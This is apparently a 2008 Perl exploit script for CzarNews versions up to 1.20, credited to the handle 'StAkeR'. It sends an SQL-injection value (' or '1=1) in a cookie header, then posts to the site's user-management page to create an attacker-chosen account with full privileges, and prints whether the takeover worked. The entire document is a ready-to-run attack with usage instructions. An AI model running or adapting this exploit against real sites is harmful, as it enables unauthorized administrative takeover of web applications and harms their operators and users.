#!/usr/bin/perl
# ----------------------------------------------------------
# CzarNews <= v1.20 (Cookie) Remote SQL Injection Exploit
# Perl Exploit - Add a new admin with your credentials!
# Discovered On: 15/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# ----------------------------------------------------------
# Usage: perl http://localhost/cms StAkeR obscure
# ----------------------------------------------------------
use strict;
use LWP::UserAgent;
my $email = 'some@example.net';
my ($hostname,$username,$password) = @ARGV;
my $request = undef;
my $http_s = new LWP::UserAgent or die $!;
$hostname = ($hostname =~ /^http:\/\/(.+?)$/) ? $ARGV[0] : banner();
banner() unless $username and $password;
$http_s->agent("Mozilla/4.5 [en] (Win95; U)");
$http_s->timeout(1);
$http_s->default_header('Cookie' => "recook=' or '1=1,' or '1=1");
$request = $http_s->post($hostname."/cn_users.php",
[
user => $username,
pass => $password,
email => $email,
allcats => "all",
admin => "off",
news => "on",
images => "on",
users => "on",
categories => "on",
config => "on",
words => "on",
op => "add",
id => '',
go => "true",
submit => "Add+User"
]);
if($request->is_success)
{
if($request->content =~ /has been added/i)
{
print "[+] Added New Administrator: $username & $password\n";
}
else
{
print "[!] Exploit Failed!\n";
print "[!] Site Not Vulnerable\n";
}
}
sub banner
{
print "[+] CzarNews <= v1.20 Remote SQL Injection Exploit (add new admin)\n";
print "[+] Usage: perl exploit.pl [host] [username] [password]\n";
return exit;
}
